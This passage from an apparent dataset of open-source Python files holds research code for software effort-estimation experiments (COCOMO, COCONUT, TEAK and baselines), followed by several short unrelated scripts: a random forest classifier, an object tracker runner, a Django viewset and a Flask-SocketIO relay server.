verbose=False), leaf\n n = scores[\"t_wt_linRgCl_sm\"]\n n.go and linRegressCluster(n, dataset_weighted, tree_weighted, test, desired_effort, leafFunc, doSmote=True)\n n = scores[\"CART\"]\n n.go and CART(dataset_weighted, scores[\"CART\"], train, test, desired_effort)\n for key,n in scores.items():\n skData.append([key] + n.cache.all)\n print(\"```\")\n sk.rdivDemo(skData)\n print(\"```\");print(\"\")\n\ndef test_sec4_1():\n \"\"\"\n Section 4.1\n Cocomo vs LOC\n :param model:\n :return:\n \"\"\"\n models = [Mystery1.Mystery1, Mystery2.Mystery2, nasa93.nasa93, coc81.coc81]\n for model_fn in models:\n model = model_fn()\n model_scores = dict(COCOMO2 = N(), COCONUT = N(), LOC1 = N(), LOC3 = N())\n tuned_a, tuned_b = CoCoMo.coconut(model, model._rows)\n for score in model_scores.values():\n score.go=True\n for row, rest in loo(model._rows):\n #say('.')\n desired_effort = effort(model, row)\n avg_effort = average_effort(model, rest)\n cocomo_effort = CoCoMo.cocomo2(model, row.cells)\n coconut_effort = CoCoMo.cocomo2(model, row.cells, tuned_a, tuned_b)\n loc1_effort = loc_1(model, row, rest)\n loc3_effort = loc_3(model, row, rest)\n model_scores[\"COCOMO2\"] += effort_error(desired_effort, cocomo_effort, avg_effort)\n model_scores[\"COCONUT\"] += effort_error(desired_effort, coconut_effort, avg_effort)\n model_scores[\"LOC1\"] += effort_error(desired_effort, loc1_effort, avg_effort)\n model_scores[\"LOC3\"] += effort_error(desired_effort, loc3_effort, avg_effort)\n sk_data = []\n for key, n in model_scores.items():\n sk_data.append([key] + n.cache.all)\n print(\"### %s\"%model_fn.__name__)\n print(\"```\")\n sk.rdivDemo(sk_data)\n print(\"```\");print(\"\")\n\ndef test_sec4_2_standard():\n \"\"\"\n Section 4.2\n Cocomo vs TEAK vs PEEKING2\n :param model:\n :return:\n \"\"\"\n models = [Mystery1.Mystery1, Mystery2.Mystery2, nasa93.nasa93, coc81.coc81]\n for model_fn in models:\n model = model_fn()\n model_scores = dict(COCOMO2 = N(), COCONUT = N(), KNN1 = N(), KNN3 = N(), CART = N(), ATLM = N())\n tuned_a, tuned_b = CoCoMo.coconut(model, model._rows)\n for score in model_scores.values():\n score.go=True\n for row, rest in loo(model._rows):\n #say('.')\n desired_effort = effort(model, row)\n avg_effort = average_effort(model, rest)\n cocomo_effort = CoCoMo.cocomo2(model, row.cells)\n coconut_effort = CoCoMo.cocomo2(model, row.cells, tuned_a, tuned_b)\n knn1_effort = loc_1(model, row, rest)\n knn3_effort = loc_3(model, row, rest)\n cart_effort = cart(model, row, rest)\n baseline_effort = lin_reg(model, row, rest)\n model_scores[\"COCOMO2\"] += effort_error(desired_effort, cocomo_effort, avg_effort)\n model_scores[\"COCONUT\"] += effort_error(desired_effort, coconut_effort, avg_effort)\n model_scores[\"KNN1\"] += effort_error(desired_effort, knn1_effort, avg_effort)\n model_scores[\"KNN3\"] += effort_error(desired_effort, knn3_effort, avg_effort)\n model_scores[\"CART\"]+= effort_error(desired_effort, cart_effort, avg_effort)\n model_scores[\"ATLM\"]+= effort_error(desired_effort, baseline_effort, avg_effort)\n sk_data = []\n for key, n in model_scores.items():\n sk_data.append([key] + n.cache.all)\n print(\"### %s\"%model_fn.__name__)\n print(\"```\")\n sk.rdivDemo(sk_data)\n print(\"```\");print(\"\")\n\ndef test_sec4_2_newer():\n \"\"\"\n Section 4.3\n Choice of Statistical Ranking Methods\n :param model:\n :return:\n \"\"\"\n models = [Mystery1.Mystery1, Mystery2.Mystery2, nasa93.nasa93, coc81.coc81]\n for model_fn in models:\n model = model_fn()\n model_scores = dict(COCOMO2 = N(), COCONUT = N(), TEAK = N(), PEEKING2 = N())\n tuned_a, tuned_b = CoCoMo.coconut(model, model._rows)\n for score in model_scores.values():\n score.go=True\n for row, rest in loo(model._rows):\n #say('.')\n desired_effort = effort(model, row)\n avg_effort = average_effort(model, rest)\n cocomo_effort = CoCoMo.cocomo2(model, row.cells)\n coconut_effort = CoCoMo.cocomo2(model, row.cells, tuned_a, tuned_b)\n tree_teak = teakImproved(model, rows=rest, verbose=False)\n teak_effort = cluster_nearest(model, tree_teak, row, leafTeak)\n tree = launchWhere2(model, rows=rest, verbose=False)\n peeking_effort = cluster_weighted_mean2(model, tree, row, leaf)\n model_scores[\"COCOMO2\"] += effort_error(desired_effort, cocomo_effort, avg_effort)\n model_scores[\"COCONUT\"] += effort_error(desired_effort, coconut_effort, avg_effort)\n model_scores[\"TEAK\"] += effort_error(desired_effort, teak_effort, avg_effort)\n model_scores[\"PEEKING2\"] += effort_error(desired_effort, peeking_effort, avg_effort)\n sk_data = []\n for key, n in model_scores.items():\n sk_data.append([key] + n.cache.all)\n print(\"### %s\"%model_fn.__name__)\n print(\"```\")\n sk.rdivDemo(sk_data)\n print(\"```\");print(\"\")\n\ndef test_sec4_3():\n \"\"\"\n Section 4.3\n Choice of Statistical Ranking Methods\n :param model:\n :return:\n \"\"\"\n models = [Mystery1.Mystery1, Mystery2.Mystery2, nasa93.nasa93, coc81.coc81]\n for model_fn in models:\n model = model_fn()\n model_scores = {\n \"COCOMO2\" : N(),\n \"COCONUT\" : N(),\n \"COCONUT:c0.25,r4\" : N(),\n \"COCONUT:c0.25,r8\" : N(),\n \"COCONUT:c0.5,r4\" : N(),\n \"COCONUT:c0.5,r8\" : N(),\n \"COCONUT:c1,r4\" : N(),\n \"COCONUT:c1,r8\" : N(),\n }\n for score in model_scores.values():\n score.go=True\n for row, rest in loo(model._rows):\n #say('.')\n desired_effort = effort(model, row)\n avg_effort = average_effort(model, rest)\n cocomo_effort = CoCoMo.cocomo2(model, row.cells)\n model_scores[\"COCOMO2\"] += effort_error(desired_effort, cocomo_effort, avg_effort)\n tuned_a, tuned_b = CoCoMo.coconut(model, rest)\n coconut_effort = CoCoMo.cocomo2(model, row.cells, tuned_a, tuned_b)\n model_scores[\"COCONUT\"] += effort_error(desired_effort, coconut_effort, avg_effort)\n pruned_effort, pruned_rows = pruned_coconut(model, row, rest, 4, 0.25)\n avg_effort = average_effort(model, pruned_rows)\n model_scores[\"COCONUT:c0.25,r4\"] += effort_error(desired_effort, pruned_effort, avg_effort)\n pruned_effort, pruned_rows = pruned_coconut(model, row, rest, 8, 0.25)\n avg_effort = average_effort(model, pruned_rows)\n model_scores[\"COCONUT:c0.25,r8\"] += effort_error(desired_effort, pruned_effort, avg_effort)\n pruned_effort, pruned_rows = pruned_coconut(model, row, rest, 4, 0.5)\n avg_effort = average_effort(model, pruned_rows)\n model_scores[\"COCONUT:c0.5,r4\"] += effort_error(desired_effort, pruned_effort, avg_effort)\n pruned_effort, pruned_rows = pruned_coconut(model, row, rest, 8, 0.5)\n avg_effort = average_effort(model, pruned_rows)\n model_scores[\"COCONUT:c0.5,r8\"] += effort_error(desired_effort, pruned_effort, avg_effort)\n pruned_effort, pruned_rows = pruned_coconut(model, row, rest, 4, 1)\n avg_effort = average_effort(model, pruned_rows)\n model_scores[\"COCONUT:c1,r4\"] += effort_error(desired_effort, pruned_effort, avg_effort)\n pruned_effort, pruned_rows = pruned_coconut(model, row, rest, 8, 1)\n avg_effort = average_effort(model, pruned_rows)\n model_scores[\"COCONUT:c1,r8\"] += effort_error(desired_effort, pruned_effort, avg_effort)\n sk_data = []\n for key, n in model_scores.items():\n sk_data.append([key] + n.cache.all)\n print(\"### %s\"%model_fn.__name__)\n print(\"```\")\n sk.rdivDemo(sk_data)\n print(\"```\");print(\"\")\n\ndef test_sec4_4():\n \"\"\"\n Section 4.4\n COCOMO with Incorrect Size Estimates\n :param model:\n :return:\n \"\"\"\n models = [Mystery1.Mystery1, Mystery2.Mystery2, nasa93.nasa93, coc81.coc81]\n for model_fn in models:\n model = model_fn()\n model_scores = {\n \"COCOMO2\" : N(),\n \"COCOMO2:n/2\" : N(),\n \"COCOMO2:n/4\" : N(),\n \"COCONUT:c0.5,r8\" : N(),\n \"COCONUT:c0.5,r8,n/2\" : N(),\n \"COCONUT:c0.5,r8,n/4\" : N(),\n }\n for score in model_scores.values():\n score.go=True\n for row, rest in loo(model._rows):\n #say('.')\n desired_effort = effort(model, row)\n avg_effort = average_effort(model, rest)\n cocomo_effort = CoCoMo.cocomo2(model, row.cells)\n model_scores[\"COCOMO2\"] += effort_error(desired_effort, cocomo_effort, avg_effort)\n cocomo_effort = CoCoMo.cocomo2(model, row.cells, noise=0.5)\n model_scores[\"COCOMO2:n/2\"] += effort_error(desired_effort, cocomo_effort, avg_effort)\n cocomo_effort = CoCoMo.cocomo2(model, row.cells, noise=0.25)\n model_scores[\"COCOMO2:n/4\"] += effort_error(desired_effort, cocomo_effort, avg_effort)\n pruned_effort, pruned_rows = pruned_coconut(model, row, rest, 8, 0.5)\n avg_effort = average_effort(model, pruned_rows)\n model_scores[\"COCONUT:c0.5,r8\"] += effort_error(desired_effort, pruned_effort, avg_effort)\n pruned_effort, pruned_rows = pruned_coconut(model, row, rest, 8, 0.5, noise=0.5)\n avg_effort = average_effort(model, pruned_rows)\n model_scores[\"COCONUT:c0.5,r8,n/2\"] += effort_error(desired_effort, pruned_effort, avg_effort)\n pruned_effort, pruned_rows = pruned_coconut(model, row, rest, 8, 0.5, noise=0.25)\n avg_effort = average_effort(model, pruned_rows)\n model_scores[\"COCONUT:c0.5,r8,n/4\"] += effort_error(desired_effort, pruned_effort, avg_effort)\n sk_data = []\n for key, n in model_scores.items():\n sk_data.append([key] + n.cache.all)\n print(\"### %s\"%model_fn.__name__)\n print(\"```\")\n sk.rdivDemo(sk_data)\n print(\"```\");print(\"\")\n\n\ndef test_baseline():\n \"\"\"\n Section 4.3\n Choice of Statistical Ranking Methods\n :param model:\n :return:\n \"\"\"\n models = [Mystery1.Mystery1, Mystery2.Mystery2, nasa93.nasa93, coc81.coc81]\n for model_fn in models:\n model = model_fn()\n model_scores = dict(COCOMO2 = N(),\n COCONUT = N(),\n TEAK = N(),\n PEEKING2 = N(),\n BASELINE = N())\n tuned_a, tuned_b = CoCoMo.coconut(model, model._rows)\n for score in model_scores.values():\n score.go=True\n actuals = []\n for row, rest in loo(model._rows):\n #say('.')\n desired_effort = effort(model, row)\n actuals.append(desired_effort)\n avg_effort = average_effort(model, rest)\n cocomo_effort = CoCoMo.cocomo2(model, row.cells)\n coconut_effort = CoCoMo.cocomo2(model, row.cells, tuned_a, tuned_b)\n tree_teak = teakImproved(model, rows=rest, verbose=False)\n teak_effort = cluster_nearest(model, tree_teak, row, leafTeak)\n tree = launchWhere2(model, rows=rest, verbose=False)\n peeking_effort = cluster_weighted_mean2(model, tree, row, leaf)\n baseline_effort = lin_reg(model, row, rest)\n model_scores[\"COCOMO2\"] += effort_error(desired_effort, cocomo_effort, avg_effort)\n model_scores[\"COCONUT\"] += effort_error(desired_effort, coconut_effort, avg_effort)\n model_scores[\"TEAK\"] += effort_error(desired_effort, teak_effort, avg_effort)\n model_scores[\"PEEKING2\"] += effort_error(desired_effort, peeking_effort, avg_effort)\n model_scores[\"BASELINE\"] += effort_error(desired_effort, baseline_effort, avg_effort)\n print(\"### %s\"%model_fn.__name__)\n sk_data = []\n for key, n in model_scores.items():\n sk_data.append([key] + n.cache.all)\n print(\"```\")\n sk.rdivDemo(sk_data)\n print(\"```\");print(\"\")\n # var_actuals = np.var(actuals)\n # for key, n in model_scores.items():\n # var_model = np.var(n.cache.all)\n # sk_data.append((var_model/var_actuals,key))\n # sk_data = sorted(sk_data)\n # print(\"```\")\n # line = \"----------------------------------------------------\"\n # print ('%4s , %22s , %s' % \\\n # ('rank', 'name', 'error')+ \"\\n\"+ line)\n # for index, (error, key) in enumerate(sk_data):\n # print(\"%4d , %22s , %0.4f\"%(index+1, key, error))\n # print(\"```\");print(\"\")\n\ndef test_pruned_baseline():\n \"\"\"\n Section 4.4\n COCOMO with Incorrect Size Estimates\n :param model:\n :return:\n \"\"\"\n models = [Mystery1.Mystery1, Mystery2.Mystery2, nasa93.nasa93, coc81.coc81]\n for model_fn in models:\n model = model_fn()\n model_scores = {\n \"COCOMO2\" : N(),\n \"COCONUT\" : N(),\n \"BASELINE\" : N(),\n \"P_BASELINE\" : N(),\n \"CART\" : N()\n }\n for score in model_scores.values():\n score.go=True\n for row, rest in loo(model._rows):\n #say('.')\n desired_effort = effort(model, row)\n avg_effort = average_effort(model, rest)\n a_tuned, b_tuned = CoCoMo.coconut(model, rest)\n cocomo_effort = CoCoMo.cocomo2(model, row.cells)\n coconut_effort = CoCoMo.cocomo2(model, row.cells, a_tuned, b_tuned)\n baseline_effort = lin_reg(model, row, rest)\n baseline_pruned_effort = lin_reg_pruned(model, row, rest)\n cart_effort = cart(model, row, rest)\n model_scores[\"COCOMO2\"] += effort_error(desired_effort, cocomo_effort, avg_effort)\n model_scores[\"COCONUT\"] += effort_error(desired_effort, coconut_effort, avg_effort)\n model_scores[\"BASELINE\"] += effort_error(desired_effort, baseline_effort, avg_effort)\n model_scores[\"P_BASELINE\"] += effort_error(desired_effort, baseline_pruned_effort, avg_effort)\n model_scores[\"CART\"] += effort_error(desired_effort, cart_effort, avg_effort)\n sk_data = []\n for key, n in model_scores.items():\n sk_data.append([key] + n.cache.all)\n print(\"### %s\"%model_fn.__name__)\n print(\"```\")\n sk.rdivDemo(sk_data)\n print(\"```\");print(\"\")\n\n\ndef test_pruned_baseline_continuous():\n \"\"\"\n Section 4.4\n COCOMO with Incorrect Size Estimates\n :param model:\n :return:\n \"\"\"\n models = [albrecht.albrecht, kitchenham.kitchenham, maxwell.maxwell, miyazaki.miyazaki, china.china]\n for model_fn in models:\n model = model_fn()\n model_scores = {\n \"BASELINE\" : N(),\n \"P_BASELINE\" : N(),\n \"CART\" : N(),\n \"TEAK\": N()\n }\n for score in model_scores.values():\n score.go=True\n print(\"### %s\"%model_fn.__name__)\n for row, rest in loo(model._rows):\n #say('.')\n desired_effort = effort(model, row)\n avg_effort = average_effort(model, rest)\n baseline_effort = lin_reg(model, row, rest)\n baseline_pruned_effort = lin_reg_pruned(model, row, rest)\n cart_effort = cart(model, row, rest)\n tree_teak = teakImproved(model, rows=rest, verbose=False)\n teak_effort = cluster_nearest(model, tree_teak, row, leafTeak)\n model_scores[\"BASELINE\"] += effort_error(desired_effort, baseline_effort, avg_effort)\n model_scores[\"P_BASELINE\"] += effort_error(desired_effort, baseline_pruned_effort, avg_effort)\n model_scores[\"CART\"] += effort_error(desired_effort, cart_effort, avg_effort)\n model_scores[\"TEAK\"] += effort_error(desired_effort, teak_effort, avg_effort)\n sk_data = []\n for key, n in model_scores.items():\n sk_data.append([key] + n.cache.all)\n print(\"```\")\n sk.rdivDemo(sk_data)\n print(\"```\");print(\"\")\n\n\ndef test_sec_kloc_error():\n \"\"\"\n Section 4.4\n COCOMO with Incorrect Size Estimates\n :param model:\n :return:\n \"\"\"\n models = [Mystery1.Mystery1, Mystery2.Mystery2, nasa93.nasa93, coc81.coc81]\n for model_fn in models:\n model = model_fn()\n model_scores = {\n \"COCOMO2\" : N(),\n \"COCOMO2:n/2\" : N(),\n \"COCOMO2:n/4\" : N(),\n \"COCOMO2:2*n\" : N(),\n \"COCOMO2:4*n\" : N(),\n \"COCONUT:c0.5,r8\" : N(),\n \"COCONUT:c0.5,r8,n/2\" : N(),\n \"COCONUT:c0.5,r8,n/4\" : N(),\n \"COCONUT:c0.5,r8,2*n\" : N(),\n \"COCONUT:c0.5,r8,4*n\" : N(),\n }\n for score in model_scores.values():\n score.go=True\n for row, rest in loo(model._rows):\n #say('.')\n desired_effort = effort(model, row)\n avg_effort = average_effort(model, rest)\n cocomo_effort = CoCoMo.cocomo2(model, row.cells)\n model_scores[\"COCOMO2\"] += effort_error(desired_effort, cocomo_effort, avg_effort)\n cocomo_effort = CoCoMo.cocomo2(model, row.cells, noise=0.5)\n model_scores[\"COCOMO2:n/2\"] += effort_error(desired_effort, cocomo_effort, avg_effort)\n cocomo_effort = CoCoMo.cocomo2(model, row.cells, noise=0.25)\n model_scores[\"COCOMO2:n/4\"] += effort_error(desired_effort, cocomo_effort, avg_effort)\n cocomo_effort = CoCoMo.cocomo2(model, row.cells, noise=2)\n model_scores[\"COCOMO2:2*n\"] += effort_error(desired_effort, cocomo_effort, avg_effort)\n cocomo_effort = CoCoMo.cocomo2(model, row.cells, noise=4)\n model_scores[\"COCOMO2:4*n\"] += effort_error(desired_effort, cocomo_effort, avg_effort)\n pruned_effort, pruned_rows = pruned_coconut(model, row, rest, 8, 0.5)\n avg_effort = average_effort(model, pruned_rows)\n model_scores[\"COCONUT:c0.5,r8\"] += effort_error(desired_effort, pruned_effort, avg_effort)\n pruned_effort, pruned_rows = pruned_coconut(model, row, rest, 8, 0.5, noise=0.5)\n avg_effort = average_effort(model, pruned_rows)\n model_scores[\"COCONUT:c0.5,r8,n/2\"] += effort_error(desired_effort, pruned_effort, avg_effort)\n pruned_effort, pruned_rows = pruned_coconut(model, row, rest, 8, 0.5, noise=0.25)\n avg_effort = average_effort(model, pruned_rows)\n model_scores[\"COCONUT:c0.5,r8,n/4\"] += effort_error(desired_effort, pruned_effort, avg_effort)\n pruned_effort, pruned_rows = pruned_coconut(model, row, rest, 8, 0.5, noise=2)\n avg_effort = average_effort(model, pruned_rows)\n model_scores[\"COCONUT:c0.5,r8,2*n\"] += effort_error(desired_effort, pruned_effort, avg_effort)\n pruned_effort, pruned_rows = pruned_coconut(model, row, rest, 8, 0.5, noise=4)\n avg_effort = average_effort(model, pruned_rows)\n model_scores[\"COCONUT:c0.5,r8,4*n\"] += effort_error(desired_effort, pruned_effort, avg_effort)\n sk_data = []\n for key, n in model_scores.items():\n sk_data.append([key] + n.cache.all)\n print(\"### %s\"%model_fn.__name__)\n print(\"```\")\n sk.rdivDemo(sk_data)\n print(\"```\");print(\"\")\n\n\ndef test_sec4_1_productivity():\n \"\"\"\n Updated Section 4.1\n Cocomo vs LOC vs Productivity\n :param model:\n :return:\n \"\"\"\n models = [Mystery1.Mystery1, Mystery2.Mystery2, nasa93.nasa93, coc81.coc81]\n for model_fn in models:\n model = model_fn()\n model_scores = dict(COCOMO2 = N(), COCONUT = N(),\n LOC1 = N(), LOC3 = N(),\n PROD = N())\n tuned_a, tuned_b = CoCoMo.coconut(model, model._rows)\n for score in model_scores.values():\n score.go=True\n for row, rest in loo(model._rows):\n #say('.')\n desired_effort = effort(model, row)\n avg_effort = average_effort(model, rest)\n cocomo_effort = CoCoMo.cocomo2(model, row.cells)\n coconut_effort = CoCoMo.cocomo2(model, row.cells, tuned_a, tuned_b)\n loc1_effort = loc_1(model, row, rest)\n loc3_effort = loc_3(model, row, rest)\n prod_effort = productivity(model, row, rest)\n model_scores[\"COCOMO2\"] += effort_error(desired_effort, cocomo_effort, avg_effort)\n model_scores[\"COCONUT\"] += effort_error(desired_effort, coconut_effort, avg_effort)\n model_scores[\"LOC1\"] += effort_error(desired_effort, loc1_effort, avg_effort)\n model_scores[\"LOC3\"] += effort_error(desired_effort, loc3_effort, avg_effort)\n model_scores[\"PROD\"] += effort_error(desired_effort, prod_effort, avg_effort)\n sk_data = []\n for key, n in model_scores.items():\n sk_data.append([key] + n.cache.all)\n print(\"### %s\"%model_fn.__name__)\n print(\"```\")\n sk.rdivDemo(sk_data)\n print(\"```\");print(\"\")\n\n\ndef test_loc_paper():\n models = [Mystery1.Mystery1, Mystery2.Mystery2, nasa93.nasa93, coc81.coc81]\n for model_fn in models:\n model = model_fn()\n med_model_scores = {\"COCOMO2\": N(), \"20%:COCOMO2\": N(),\n \"40%:COCOMO2\": N(), \"60%:COCOMO2\": N(),\n \"80%:COCOMO2\": N(), \"100%:COCOMO2\": N()}\n iqr_model_scores = {\"COCOMO2\": N(), \"20%:COCOMO2\": N(),\n \"40%:COCOMO2\": N(), \"60%:COCOMO2\": N(),\n \"80%:COCOMO2\": N(), \"100%:COCOMO2\": N()}\n for score1, score2 in zip(med_model_scores.values(), iqr_model_scores.values()):\n score1.go = True\n score2.go = True\n for row, rest in loo(model._rows):\n # say('.')\n all_efforts = [effort(model, one) for one in rest]\n desired_effort = effort(model, row)\n # 0 %\n errors = N()\n for _ in xrange(20):\n cocomo_effort = CoCoMo.cocomo2(model, row.cells)\n errors += sa(desired_effort, cocomo_effort, all_efforts)\n med_model_scores[\"COCOMO2\"] += errors.med()\n iqr_model_scores[\"COCOMO2\"] += errors.iqr()\n # 20 %\n errors = N()\n for _ in xrange(20):\n cocomo_effort = CoCoMo.cocomo2(model, row.cells, noise=0.2)\n errors += sa(desired_effort, cocomo_effort, all_efforts)\n med_model_scores[\"20%:COCOMO2\"] += errors.med()\n iqr_model_scores[\"20%:COCOMO2\"] += errors.iqr()\n # 40 %\n errors = N()\n for _ in xrange(20):\n cocomo_effort = CoCoMo.cocomo2(model, row.cells, noise=0.4)\n errors += sa(desired_effort, cocomo_effort, all_efforts)\n med_model_scores[\"40%:COCOMO2\"] += errors.med()\n iqr_model_scores[\"40%:COCOMO2\"] += errors.iqr()\n # 60 %\n errors = N()\n for _ in xrange(20):\n cocomo_effort = CoCoMo.cocomo2(model, row.cells, noise=0.6)\n errors += sa(desired_effort, cocomo_effort, all_efforts)\n med_model_scores[\"60%:COCOMO2\"] += errors.med()\n iqr_model_scores[\"60%:COCOMO2\"] += errors.iqr()\n # 80 %\n errors = N()\n for _ in xrange(20):\n cocomo_effort = CoCoMo.cocomo2(model, row.cells, noise=0.8)\n errors += sa(desired_effort, cocomo_effort, all_efforts)\n med_model_scores[\"80%:COCOMO2\"] += errors.med()\n iqr_model_scores[\"80%:COCOMO2\"] += errors.iqr()\n # 100 %\n errors = N()\n for _ in xrange(20):\n cocomo_effort = CoCoMo.cocomo2(model, row.cells, noise=1.0)\n errors += sa(desired_effort, cocomo_effort, all_efforts)\n med_model_scores[\"100%:COCOMO2\"] += errors.med()\n iqr_model_scores[\"100%:COCOMO2\"] += errors.iqr()\n med_sk_data, iqr_sk_data = [], []\n for key in med_model_scores.keys():\n med_sk_data.append([key] + med_model_scores[key].cache.all)\n iqr_sk_data.append([key] + iqr_model_scores[key].cache.all)\n print(\"### %s\" % model_fn.__name__)\n print(\"```\")\n sk.rdivDemo(med_sk_data)\n print(\"\")\n sk.rdivDemo(iqr_sk_data)\n print(\"```\")\n print(\"\")\n\n\nif __name__ == \"__main__\":\n #testEverything(albrecht.albrecht)\n #runAllModels(testEverything)\n #testNoth(MODEL)\n seed()\n #test_sec4_4()\n #test_baseline()\n #test_pruned_baseline_continuous()\n #test_sec_kloc_error()\n #test_sec4_1_productivity()\n # test_sec4_2_newer()\n test_loc_paper()\n", "source": "ai-se/george", "license": "MIT"} {"text": "import os\n\nimport matplotlib.pyplot\nimport numpy\nimport pandas\nimport seaborn\nimport sklearn.model_selection\n\nimport prepare_data\n\ndata = prepare_data.get_prepared_data()\n\ndata2 = prepare_data.balance_dataset(data.dropna(), 'Result_Type')\n\nx = pandas.get_dummies(data2.drop(columns=['Result_Type', 'Result_Type_Bin', 'Date']))\ny = data2.Result_Type#.astype('category')\nrf = sklearn.ensemble.RandomForestClassifier(n_estimators=1000, oob_score=True, random_state=0)\nrf.fit(x, y)\n\noob_prediction = pandas.Series(rf.classes_[numpy.argmax(rf.oob_decision_function_,axis=1)], index=x.index)\nprint(sklearn.metrics.classification_report(y, oob_prediction))\nprint(sklearn.metrics.balanced_accuracy_score(y, oob_prediction))\n\n# Make plots\nos.makedirs('figures', exist_ok=True)\n\nmatplotlib.pyplot.figure()\npandas.Series(rf.feature_importances_, index=x.columns).sort_values(ascending=False).head(10).plot(kind='bar')\nmatplotlib.pyplot.xlabel('Features')\nmatplotlib.pyplot.ylabel('Importance')\nmatplotlib.pyplot.tight_layout()\nmatplotlib.pyplot.savefig(os.path.join('figures', 'rf_variable_importance.png'))\n\nmatplotlib.pyplot.figure()\nseaborn.heatmap(pandas.DataFrame(sklearn.metrics.confusion_matrix(y, oob_prediction),\n index=rf.classes_,\n columns=rf.classes_),\n cmap='Blues',\n cbar_kws={'label': 'Number of products'})\nmatplotlib.pyplot.xlabel('Golden truth')\nmatplotlib.pyplot.ylabel('Out-of-bag predictions')\nmatplotlib.pyplot.tight_layout()\nmatplotlib.pyplot.savefig(os.path.join('figures', 'rf_confusion_matrix.png'))\n\n", "source": "ManuelaS/project_black", "license": "MIT"} {"text": "import numpy as np\nimport time\nfrom eco import ECOTracker\nimport cv2\nimport glob\nimport os\nfrom tqdm import tqdm\nfrom PIL import Image\n\n\ndef run_ECO(seq, rp, saveimage):\n x = seq.init_rect[0]\n y = seq.init_rect[1]\n w = seq.init_rect[2]\n h = seq.init_rect[3]\n\n frames = [np.array(Image.open(filename)) for filename in seq.s_frames]\n # frames = [cv2.cvtColor(cv2.imread(filename), cv2.COLOR_BGR2RGB) for filename in seq.s_frames]\n if len(frames[0].shape) == 3:\n is_color = True\n else:\n is_color = False\n frames = [frame[:, :, np.newaxis] for frame in frames]\n tic = time.clock()\n # starting tracking\n tracker = ECOTracker(is_color)\n res = []\n for idx, frame in enumerate(frames):\n if idx == 0:\n bbox = (x, y, w, h)\n tracker.init(frame, bbox)\n bbox = (bbox[0], bbox[1], bbox[0]+bbox[2], bbox[1]+bbox[3])\n elif idx < len(frames) - 1:\n bbox = tracker.update(frame, True)\n else: # last frame\n bbox = tracker.update(frame, False)\n res.append((bbox[0], bbox[1], bbox[2]-bbox[0], bbox[3]-bbox[1]))\n duration = time.clock() - tic\n result = {}\n result['res'] = res\n result['type'] = 'rect'\n result['fps'] = round(seq.len / duration, 3)\n return result\n\n", "source": "StrangerZhang/pyECO", "license": "MIT"} {"text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Nov 9 17:54:03 2019\n\nExam 2 Physical Pendulum\n\n@author: Lauren King\n\"\"\"\n\n\n\n\n\n\n\n\n\n\"\"\"\nimport numpy as np\nimport scipy as sc\n\n#t=np.arange(0,10.001,.01)\n\n#y=np.arange(0,10.001,.01)\n#y[0]=.001\n\ng=9.8\n\n\ndef f(m,ang):\n f=m*g*np.sin(ang)\n return f\n\n\nm=2\nang=(np.pi)/2\nh=.01\n\n\narrang=np.arange(-ang,ang,.01)\narrang=arrang*-1\ni=0\n\nt=np.arange(0,len(arrang),.01)\ny=np.arange(0,len(arrang),.01)\nx=np.arange(0,len(arrang),.01)\n\n\nwhile i<(len(arrang)-1):\n y[i]=y[i-1]+f(m,arrang[i])*h\n x[i]=x[i-1]+y[i]*h\n \n i=i+1\n \nplt.plot(t,x)\nplt.plot(t,y)\n\n\"\"\"", "source": "leking6176/PHYS-3211", "license": "MIT"} {"text": "from rest_framework.viewsets import ModelViewSet\nfrom apps.budget.models import Budget\nfrom apps.budget.serializers import BudgetSerializer\n\n\nclass BudgetViewSet(ModelViewSet):\n serializer_class = BudgetSerializer\n queryset = Budget.objects.all()\n search_fields = [\"name\", \"description\"]\n filterset_fields = [\"name\", \"description\", \"status\"]\n\n", "source": "TeijiW/finances", "license": "MIT"} {"text": "import cv2\n\n\ndef resize(img, shape):\n return cv2.resize(img, (shape[1], shape[0]))\n", "source": "1mplex/segmentation_image_augmentation", "license": "MIT"} {"text": "def Min_Distance_two_equals_numbers(arr):\n \n from collections import defaultdict\n \n min_distance_so_far = -1\n\n memory = defaultdict(list) #To append the index in a list \n\n for i in range(len(arr)):\n if arr[i] in memory.keys():\n for index in memory[arr[i]]:\n distance = i-index\n if min_distance_so_far == -1: \n min_distance_so_far=len(arr)\n if distance < min_distance_so_far:\n min_distance_so_far = distance\n memory[arr[i]].append(i)\n\n return min_distance_so_far \n\n\nif __name__ == \"__main__\":\n\n arr = [7, 0, 2, 4, 5, 6, 7]\n\n print(Min_Distance_two_equals_numbers(arr))\n", "source": "mariobarbosa777/Solving-Algorithm-Problems", "license": "MIT"} {"text": "#-*- encoding: utf-8 -*-\n\nfrom flask import Flask, render_template\nfrom flask_socketio import SocketIO\nimport socketserver\nimport threading\nimport time\n\n############# socket io parameter #############\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = 'secret!'\nsocketio = SocketIO(app)\n\n############# socket with zynq run #############\n\nclass MyTcpHandler(socketserver.BaseRequestHandler):\n # def __init__(self, request, client_address, server):\n # super(MyTcpHandler, self).__init__(request, client_address, server)\n # self.data = ''\n\n def handle(self):\n print('...connected from:', self.client_address)\n while True:\n try:\n data = self.request.recv(16).strip().decode()\n self.server.data = data\n \n if data == '###':\n print(self.client_address, 'exit')\n break\n \n # print(self.data_obj.data)\n # time.sleep(1) # \u4e0d\u80fdsleep\uff0c\u5426\u5219\u8bf4\u4e0d\u5b9a\u7f13\u51b2\u533a\u88ab\u963b\u585e\u4f4f\u5bfc\u81f4\u4e00\u6b21\u6027\u6536\u5230\u4e86\u591a\u6b21\u53d1\u9001\u7684\u6570\u636e\n \n except Exception as e:\n print(\"[+] Error\", e)\n break\n \n except KeyboardInterrupt:\n print('[+] Connection close')\n break\n \n############# socket io run #############\n\n@app.route('/')\ndef hello_world():\n return render_template('index.html')\n\n@socketio.on('connect', namespace='/message')\ndef send_message():\n socketio.start_background_task(target=background_func)\n\ndef background_func():\n while True:\n socketio.emit('server_response', {'data': tcpSerSock.data}, namespace='/message')\n # socketio.sleep(1)\n\n\n\nif __name__ == '__main__':\n app_thread = threading.Thread(target=socketio.run, args=(app,))\n # socketio.run(app)\n app_thread.daemon = True # daemon attribute causes the thread to terminate when the main process ends.\n app_thread.start()\n\n # HOST, PORT = \"localhost\", 6887 # \u8fd9\u91cclocalhost\u52a1\u5fc5\u6362\u6210\u672c\u673aip\u5730\u5740\uff0c\u5426\u5219\u4e00\u822c\u5916\u90e8\u65e0\u6cd5\u8bbf\u95ee\uff01\uff01\uff01\uff01\n # HOST, PORT = \"192.168.2.117\", 6887 # 